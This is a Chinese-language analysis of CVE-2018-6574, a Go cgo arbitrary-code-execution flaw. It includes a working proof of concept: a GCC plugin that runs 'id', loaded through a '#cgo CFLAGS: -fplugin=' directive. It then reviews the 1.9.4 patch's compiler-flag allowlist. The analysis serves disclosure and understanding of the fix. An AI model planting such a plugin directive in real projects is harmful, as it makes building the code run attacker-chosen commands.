CVE-2018-6574(Go 语言任意代码执行漏洞)分析
1. 测试环境
软件 | 版本 |
---|---|
操作系统 | CentOS 7.4 |
GCC | 4.8.5 |
Go | 1.9.3 |
Go 1.9.3 下载地址:https://dl.google.com/go/go1.9.3.linux-386.tar.gz
2. 漏洞分析
Go 语言支持内嵌 C 语言代码的功能,若是将 C 代码放在注释中,Go 编译时会调用 cgo 来处理 C 代码。举一个例子:
// filename: test.go package main /* #include <stdio.h> void hello_world(){ printf("hello world\n"); } */ import "C" func main() { C.hello_world() }
编译、执行如下:
$ go build test.go $ ./test hello world
对于 cgo,支持指定 GCC 的参数,详细可见 cgo 的文档:https://golang.org/cmd/cgo/。
但是 cgo 没有对参数进行任何限制,本次漏洞利用,就用到了 GCC 的插件功能,指定 -fplugin 参数可在编译过程中指定加载其他 .so 文件,因此达到了执行任意代码的目的。
首先,我们先写一个动态链接库来做 GCC 的插件:
/* compile: gcc -shared -o poc.so -fPIC poc.c */ #include <stdlib.h> int plugin_is_GPL_compatible = 1; void plugin_init() { system("id"); }
然后编译:
$ gcc -shared -o poc.so -fPIC poc.c
接修改 test.go,并在注释里加上编译选项:
#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so
修改之后的完整代码如下:
// filename: test.go package main /* #cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so #include <stdio.h> void hello_world(){ printf("hello world\n"); } */ import "C" func main() { C.hello_world() }
最后编译 Go 代码:
$ go build test.go # command-line-arguments uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # command-line-arguments uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # command-line-arguments uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
可见成功加载了之前编译的动态链接库,并执行了 id 命令。
3. 官方修复补丁
修复公告见:https://github.com/golang/go/issues/23672
以 1.9.4 补丁为例,主要在 src/cmd/go/internal/work/security.go 增加了对编译选项的限制,只允许使用部分编译选项:
var validCompilerFlags = []*regexp.Regexp{ re(`-D([A-Za-z_].*)`), re(`-I([^@\-].*)`), re(`-O`), re(`-O([^@\-].*)`), re(`-W`), re(`-W([^@,]+)`), // -Wall but not -Wa,-foo. re(`-f(no-)?objc-arc`), re(`-f(no-)?omit-frame-pointer`), re(`-f(no-)?(pic|PIC|pie|PIE)`), re(`-f(no-)?split-stack`), re(`-f(no-)?stack-(.+)`), re(`-f(no-)?strict-aliasing`), re(`-fsanitize=(.+)`), re(`-g([^@\-].*)?`), re(`-m(arch|cpu|fpu|tune)=([^@\-].*)`), re(`-m(no-)?stack-(.+)`), re(`-mmacosx-(.+)`), re(`-mnop-fun-dllimport`), re(`-pthread`), re(`-std=([^@\-].*)`), re(`-x([^@\-].*)`), }
checkCompilerFlags 函数用来验证编译选项,它会把定义在 validCompilerFlags 里的规则最终传递到 checkFlags 函数来验证。
checkFlags 会根据环境变量定义的规则以及 validCompilerFlags 定义的规则来判断编译选项的合法性。两个函数实现如下:
func checkCompilerFlags(name, source string, list []string) error { return checkFlags(name, source, list, validCompilerFlags, validCompilerFlagsWithNextArg) } func checkFlags(name, source string, list []string, valid []*regexp.Regexp, validNext []string) error { var ( allow *regexp.Regexp disallow *regexp.Regexp ) // 从环境变量中获取允许的编译选项 if env := os.Getenv("CGO_" + name + "_ALLOW"); env != "" { r, err := regexp.Compile(env) if err != nil { return fmt.Errorf("parsing $CGO_%s_ALLOW: %v", name, err) } allow = r } // 从环境变量中获取禁止使用的编译选项 if env := os.Getenv("CGO_" + name + "_DISALLOW"); env != "" { r, err := regexp.Compile(env) if err != nil { return fmt.Errorf("parsing $CGO_%s_DISALLOW: %v", name, err) } disallow = r } Args: for i := 0; i < len(list); i++ { arg := list[i] // 检查环境变量指定的黑名单 if disallow != nil && disallow.FindString(arg) == arg { goto Bad } // 检查环境变量指定的白名单 if allow != nil && allow.FindString(arg) == arg { continue Args } // 后面就是检查 Go 默认允许的编译选项了 for _, re := range valid { if re.FindString(arg) == arg { continue Args } } for _, x := range validNext { if arg == x { if i+1 < len(list) && load.SafeArg(list[i+1]) { i++ continue Args } if i+1 < len(list) { return fmt.Errorf("invalid flag in %s: %s %s", source, arg, list[i+1]) } return fmt.Errorf("invalid flag in %s: %s without argument", source, arg) } } Bad: return fmt.Errorf("invalid flag in %s: %s", source, arg) } return nil }